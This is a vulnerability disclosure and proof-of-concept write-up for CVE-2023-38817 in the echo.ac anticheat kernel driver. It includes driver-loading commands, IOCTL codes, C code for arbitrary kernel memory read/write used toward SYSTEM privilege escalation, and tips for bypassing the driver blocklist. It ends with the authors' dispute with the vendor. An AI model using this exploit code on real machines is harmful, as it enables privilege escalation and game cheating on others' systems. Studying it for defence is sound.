EchOh-No! a Vulnerability and PoC demonstration in a popular Minecraft AntiCheat tool.

CVE-2023-38817 - A vulnerability in a gaping security hole of a driver allows an attacker to attain nt authority\system privileges via a Privilege Escalation attack.

EchOh-No! a Vulnerability and PoC demonstration in a popular Minecraft AntiCheat tool.
A Proof of Concept abusing this exploit to attain Privilege Escalation on a Local machine.
Logo by my good friend and co-credited discoverer of this vulnerability, Zach.

PoC source code can be found here: https://github.com/kite03/echoac-poc.

CVE Info

  • Number: CVE-2023-38817
  • Vendor: Inspect Element Ltd (13017981), trading as Echo.
  • Affected Products: echo.ac AntiCheat scanner tool.
  • Affected Versions: echo.ac - <5.2.1.0, echo_driver.sys - All shipped versions.
  • Affected operating systems: 64Bit versions of Windows from; Windows 7 to Windows 11.
  • Mitigation: Do not use the software, and add driver signatures to blacklist.

Credits

  • Protocol (Whanos): GitHub Link - Initial discovery, first contact with echo.ac, and exploit development.
  • kite03: GitHub Link - Exploit development, and writing.
  • Lemon (Wishes to stay anonymous): - Exploit development and assistance.

CERTIFICATE REVOKED

Microsoft has added the Echo Driver to the Vulnerable Driver Blocklist and the certificate has been revoked.
If you still wish to use the exploit, you must enable test signing and disable the Microsoft Vulnerable Driver blocklist.

Background

echo.ac is a commercial "screensharing tool", marketed and developed mostly for the Minecraft PvP community, but also used by some other game communities - such as Rust. A "screensharing tool" is a program developed to "assist" server admins in identifying if someone's using cheats or similar banned external tools in-game, effectively a single-run Anticheat scanner.
As such - these programs execute numerous intrusive scans on a users computer, while being deliberately very vague of what they data collect and why.

Additionally, as these programs are for (terrible) Admins to "check if a user is cheating", they are given to the user under duress - as users will be threatened with a permanent ban from the server they were playing on if they refuse.
Furthermore, these users are usually quite young and do not understand the issue of running random executables on their personal computer (see the current plague of malware on Discord presently).

When this point was brought up to them, they reacted aggressively and attacked us for criticising this practice. We think that it is unfair that users can be banned for not wanting to run this invasive software.

I (Whanos/protocol) also attempted to disclose this exploit to the CEO in private before disclosing it publicly - to allow ample time for the developers to patch it, but they brushed me off, saying that it's not a bug - and then banning me from their discord server.

Our interactions with echo are documented in this blog post, after the bug

Thanks for reading!

The Bug

echo-free.exe - their client app, deploys a Kernel driver named echo_driver.sys to a newly generated folder in %TEMP%. This driver appears to be used mostly to scan and copy target processes memory so it can be analysed later to "check for cheats" (glorified string-searching tool...)

Unfortunately, this gaping security hole of a driver has no access controls on what programs can access it, making it trivial to abuse for all manners of exploits on the system.

Simply by using the following series of IOCTL codes, a local attacker can control the driver to Read and Write memory on the system. We abuse this in our PoC to read the Kernel's EPROCESS/KPROCESS block in memory, and then perform Access Token Theft using the driver - copying it into a newly spawned shell of ours, which immediately escalates it's privileges to nt authority\system (Highest system permissions).

Uh oh.

The Attack

  • Firstly, create the service and start the driver using sc create EchoDrv binpath=C:\PathToDriver.sys type= kernel && sc start EchoDrv .
  • Next, get a handle to the driver, which uses device path \\\\.\\EchoDrv.
  • Now execute IOCTL code 0x9e6a0594 to bypass an internal check - shown later.
// Yes, this buffer seems useless - but without it the driver BSOD's the PC.
// Create a buffer to store useless data (we don't care about it)
void* buf = (void*)malloc(4096);

// Call IOCTL that sets the internal PID variable and gets past the DWORD check
// 0x9e6a0594 - IOCTL Code
DeviceIoControl(hDevice, 0x9e6a0594, NULL, NULL, buf, 4096, NULL, NULL);
Code Example
  • Set the PID to the exploiting program by using IOCTL code 0xe6224248, this returns a HANDLE to your provided PID.
// The data struct the driver is expecting
struct k_get_handle {
    DWORD pid;
    ACCESS_MASK access;
    HANDLE handle;
};

k_get_handle param{};
// Set the PID and access we want.
param.pid = GetCurrentProcessId();
param.access = GENERIC_ALL;
// Call the driver
DeviceIoControl(hDevice, 0xe6224248, &param, sizeof(param), &param, sizeof(param), NULL, NULL);

// Return the HANDLE. We'll need it later in all calls.
return param.handle;
Code Example
  • Finally - you can use IOCTL code 0x60a26124 to make the driver execute MmCopyVirtualMemory with your given arguments, allowing the arbitrary Memory Read/Write.
// Data structure
struct k_param_readmem {
    HANDLE targetProcess;
    void* fromAddress;
    void* toAddress;
    size_t length;
    void* padding;
    uint32_t returnCode;
};

// Here is a simple read memory driver we use extensively in this PoC.
BOOL read_memory_raw(void* address, void* buf, size_t len, HANDLE targetProcess) {
 	k_param_readmem req{};
 	req.fromAddress = (void*)address;
 	req.length = len;
	req.targetProcess = targetProcess;
 	req.toAddress = (void*)buf;

	BOOL success = DeviceIoControl(hDevice, 0x60a26124, &req, sizeof(k_param_readmem), &req, sizeof(k_param_readmem), NULL, NULL);
	return success;
}

// An example using the above function could be something like this

// Get the PID of the System
DWORD systemPID;
Driver.read_memory_raw(
	(void *) (PsInitialSystemProcessEPROCESS + PIDOffset),
    &systemPID,
 	sizeof(systemPID),
	processHandle
);
Code Example

One thing to note is that the driver does not have a "write" function, but you can simply flip the to and from address parameters to "read" your data buffer into another program just fine.

  • Stop and remove the driver from your system by executing sc stop EchoDrv && sc delete EchoDrv.

Why This Works

The first IOCTL calls this function, which we seems to sets the output buffer for some internal BCrypt operations we frankly do not care about. Without this call the driver does not listen our commands.

if (IOCTLCode == 0x9e6a0594) {
	// First, get the output address
	BCryptOutputBuffer = *IRP->AssociatedIrp.SystemBuffer;
    // Run some BCrypt stuff and output to buffer
	NTSTATUS status = BCryptStuff(*BCryptOutputBuffer, sizeof(BCryptOutputBuffer) + 1);
	if (NT_SUCCESS(status)) {
      *(undefined *)(BCryptOutputBuffer + 2) = 1;
    }
    *(undefined4 *)((longlong)BCryptOutputBuffer + 0x14) = 0x1000;
  }
A simplified version of the BCrypt buffer IRP Handler.

The next IOCTL looks up the PEPROCESS data of our given process' PID and stores it internally - then returns a HANDLE which much be provided in all subsequent requests. This appears to be the driver's "Access Control" - which is frankly, awful.

if (IOCTLCode == 0xe6224248) {
	// Shared IRP data buffer
	ProgramPIDStruct = *(k_get_handle)IRP->AssociatedBuffer.SystemBuffer;
	OurProcess = NULL;
	NTSTATUS status = PsLookupProcessByProcessId(*ProgramPIDStruct,&OurProcess);
	if (NT_SUCCESS(status)) {
		status = ObOpenObjectByPointer(OurProcess,0,0,ProgramPIDStruct[1]);
		if (NT_SUCCESS(status) {
			if (OurProcess != NULL) {
				ObfDereferenceObject(OurProcess);
			}
			// Set our HANDLE in shared buffer struct
			*(HANDLE)ProgramPIDStruct = InternalHandle;
			// Unused
			*(undefined *)(ProgramPIDStruct + 4) = 1;
		}
	}
	// Unused
	ProgramPIDStruct[5] = 0x1001;
}
Set PID IRP handler.

Finally, we can use the driver's Copy Memory IOCTL to do whatever we want with memory. Our parameters are directly fed into a CopyMemory function - which basically is just a wrapper for MmCopyVirtualMemory.

if (IOCTLCode == 0x60a26124) {
    IRPBuffer = *(HANDLE)IRP->AssociatedBuffer.SystemBuffer;
    OurProcess = NULL;
    // Check driver has access to given HANDLE
    NTSTATUS status = ObReferenceObjectByHandle( * IRPBuffer, 0, *(POBJECT_TYPE * ) PsProcessType_exref, '\0', & OurProcess,
        (POBJECT_HANDLE_INFORMATION) 0x0);
    if (NT_SUCCESS(status)) {
		// Call CopyMemory function with our parameter
        status = CopyMemory(OurProcess, IRPBuffer[1], (PVOID * ) IRPBuffer[2], (size_t * ) IRPBuffer[3],
            (PSIZE_T)(IRPBuffer + 4));
        // NT_SUCCESS
        if (NT_SUCCESS(status) {
			// Set Return Code
            *(IRPBuffer + 5) = 1;
        }
    }
    if (OurProcess != NULL) {
        ObfDereferenceObject(OurProcess);
    }
	// Unused
    *(undefined4 * )((longlong) IRPBuffer + 0x2c) = 0x1002;
    UVar5 = 0x30;
    goto LAB_140001b03;
}
The Read memory IRP handler.
NTSTATUS CopyMemory(PEPROCESS TargetProcess, void * FromAddress, PVOID * ToAddress, size_t * BufferSize, PSIZE_T BytesCopied)
{
    NTSTATUS status;
    PEPROCESS ToProcess;
    uint StatusCode;

    ToProcess = IoGetCurrentProcess();
    status = MmCopyVirtualMemory(TargetProcess, FromAddress, ToProcess, ToAddress, BufferSize, 0,
        BytesCopied);
    StatusCode = 0;
    // 0xC0000022 - STATUS_ACCESS_DENIED
    if (!NT_SUCCESS(status)) {
        StatusCode = 0xc0000022;
    }
    return (NTSTATUS)StatusCode;
}
CopyMemory function. It's basically just a MmCopyVirtualMemory wrapper.

Specifically, MmCopyVirtualMemory is an undocumented Windows API function which allows a Driver to copy the Virtual memory of a given process.

Also, the function is being executed at Kernel level - indicated by parameter 0 in the call above - which isKPROCESSOR_MODE_KERNEL!

In short, this means our exploit allows direct access to a Kernel mode memory context via simple IO requests from user-mode.

As you can see, the complete lack of access control or validation causes this driver to become effectively - A "Security-Hole As A Service".

Extra Driver Info

  • The driver was built on June 18th 2021, so we can presume that all client program versions from that point onwards are vulnerable.
  • The vulnerable driver's SHA256 hash is ea3c5569405ed02ec24298534a983bcb5de113c18bc3fd01a4dd0b5839cd17b9.
  • The vulnerable driver's MD5 hash is 187ddca26d119573223cf0a32ba55a61.

The Uses

There are several uses for this exploit - having Kernel level memory access to anything on the system is very dangerous and abusable!

For our example, we perform a privilege escalation attack using it.

Privilege Escalation

In the GitHub repository there is a working Privilege Escalation attack which allows an attacking process to make any process run with nt authority\system privileges.
This is dangerous because this has more permissions than any other user on the system, which could be easily used by malware to cause much more damage!

The default token privileges of a process running as a regular administrator.
The default token privileges of a process running at nt authority\system - notice how many more privileges it has!

Cheating

Additionally, this exploit can be (and has been) extensively used for Cheating in video games - it turns out that this driver was seemingly whitelisted by Easy Anti Cheat (EAC) - one of the most popular commercial Anticheat providers - allowing cheaters to trivially cheat in games protected by it!

This is due to the fact that back in ~May 2022, hundreds of echo's own users were banned by EAC in series of large ban waves - due to echo's methodology of mass-memory scanning all programs on a user's computer (a really big no-no for all Anticheats!).

The Discord announcement made by the CEO (Josh) upon finding out about the ban waves.

Somehow, echo managed to convince EAC to unban all the users affected by this - and seemingly whitelist their driver from being detected - all the whilst not patching the arbitrary memory Read/Write exploit described above!

In fact, after speaking with some cheater developers about this - some were abusing this to cheat in games such as Rust for almost a year prior to this writeup!

Reply from "tolessthan350gt", a highly reputed user on UnknownCheats - a popular cheating forum, demonstrating a similar exploit method to the one in this writeup, allowing them to cheat in any EAC protected game mostly scot-free!
Another cheat developer discussing their usage of echo's driver exploit for cheating.

Other Projects

In Media

The loldrivers.io maintainer loved it :)
NTTS included it in an incredible video!

Addendum

Doesn't detect the most blatant cheating tool or a VM... Lol

That's the end of the exploit writeup!

Thank you very much for reading.

The following section documents our conversations with the echo team and CEO, for clarity.

The Aftermath

First and foremost: Please do not harass anyone mentioned in this document. While some people might've gone too far in some aspects - harassment is not okay. Do not stoop to that level - thanks.

Echo and Data

Echo.ac is pretty quiet about the data it collects and why. Their own ToS on their website and scanning app does not tell us what data is scanned and what exactly they will do with it.

ToS archived as of writing (~29th of June 2023):

Update 15/07/2023: As requested by Josh on his alt (that he has me blocked me on already), I have removed the statement saying the in app privacy policy is the same as the website's.

Sure Josh, I can remove this part for you. Doesn't change anything else about the writeup though.
Am I really that scary Josh? You are so scared of talking to me you'd rather DDoS me and block me on your alts to talk behind my back!

There are only 2 hints we get as to the data that they collect.

First are the result pages people publicly share in their discord. An example of which can be found here.
Not much information can really be extrapolated from here, unfortunately.
(Screenshots, in case they delete this scan):

Second, the policy that they publish.
This policy is supposed to provide some transparency as to what data echo collects. It is assumed that, for ethical reasons if nothing else - a rough outline to the methods used to collect data are stated. Unfortunately, this policy is not trustworthy.
This is because Echo has changed is policy regarding what they collect after the following interactions.
Note that they still collect this data, they just don't tell their users anymore.
They aren't being open as to what information they collect, and are clearly happy to hide things from their policy if it helps them evade criticism!

Consider the following tweet.

A very wise thing to ask!

Since Bulbasaur's tweet was posted, they removed the line in their website about storing the memory of processes on the computer, but yet they still do it!

After that tweet, they updated their "What do we log" FAQ:

Notice the omission of the sentence about them logging Process Memory!

How shady.

My Initial Contact

On the 24th of May 2023, I (protocol/Whanos) published a tweet to my personal Twitter account (@WindowsKernel) - sharing my concerns with Echo.AC, as well as sharing a tria.ge link, which reported suspicious behaviour from the Echo.AC client.

My tweet. Archived screenshot: https://cdn.gls.cx/5c91602e6d41fec2

My tweet - albeit being a bit debatably sensationalised - didn't contain anything untrue, and was more of a general warning to not execute applications random server Admins want you to run on your PC.

At the time, my tweet only had interactions from my own followers - as I mostly post about cybersecurity to a relatively small audience.
However - shortly after it was posted, the CEO of the company behind Echo.AC - Josh, and some developers and associates of Echo.AC responded with what could frankly only be described as hate-mail and bullying.

Most of these replies are still viewable on the original tweet, but as a precaution I screenshotted them for posterity.

Firstly, I received this DM from Josh, the CEO.

Honestly a pretty childish thing to receive from the legal CEO of a registered company.

I also received a frankly asinine amount of hate-mail replies from users that never followed me beforehand!, meaning that they were sent to my tweet by other users.

This user develops his own tool, similar to echo.ac.
Blatant lies from a developer for echo.
Sure buddy.
This account was inactive for years, and made its first replies ever to me. Totally not a developer's alt!
This user owns his own tool, similar to echo. Also, I think I know more about the Kernel than you, thanks!

One of them even called me the r-slur (Censored here). Great.

This account was inactive since 2018, till my tweet was posted. Totally not an alt!
At least Twitter support worked decently fast.
A screenshot of some of the users that are on their staff team and community support team, so you can compare names easier.

After this, I was blocked by the company's official Twitter account. Great response!

Whatever will I do!

The Disclosure Attempt

Steeled by this insane series of interactions, my friends and I (credited at the top) started digging into their driver to look for vulnerabilities.
Unsurprisingly, it was trivial to discover the exploit, considering the visible lack of Kernel driver knowledge. It's basically just a copy-pasted Cheat Driver.

After we found the bug, we started preparing this writeup - and in the meantime I wanted to responsibly let the CEO know about the bug, so they can fix it before we release the writeup.
Shockingly, they brushed it off as it not being an vulnerability, and passive-aggressively mocked me, before banning me. Lovely!

My conversation with the CEO follows, dated the 29th of June, 2023.

//WONTFIX Security-Hole As A Service
How do you not know about CVEs as an Anticheat company's CEO?
It's still your code buddy.
At this point I honestly gave up. He evidently doesn't care.
A screenshot of his profile, for context.

After this, I was banned from their Discord for the crime of attempting to responsibly report a vulnerability... lol?

Awesome damage control!

Overall, this entire situation is very damaging to your reputation.
How would your users feel if they realise that actual real issues in your own product is met with abuse and ignorance? - you should know better, Josh, especially as you are the CEO of an Anticheat company - which requires the trust of your users to exist!

Fin - Thanks for reading!

Contact me here.

Have a great day Josh.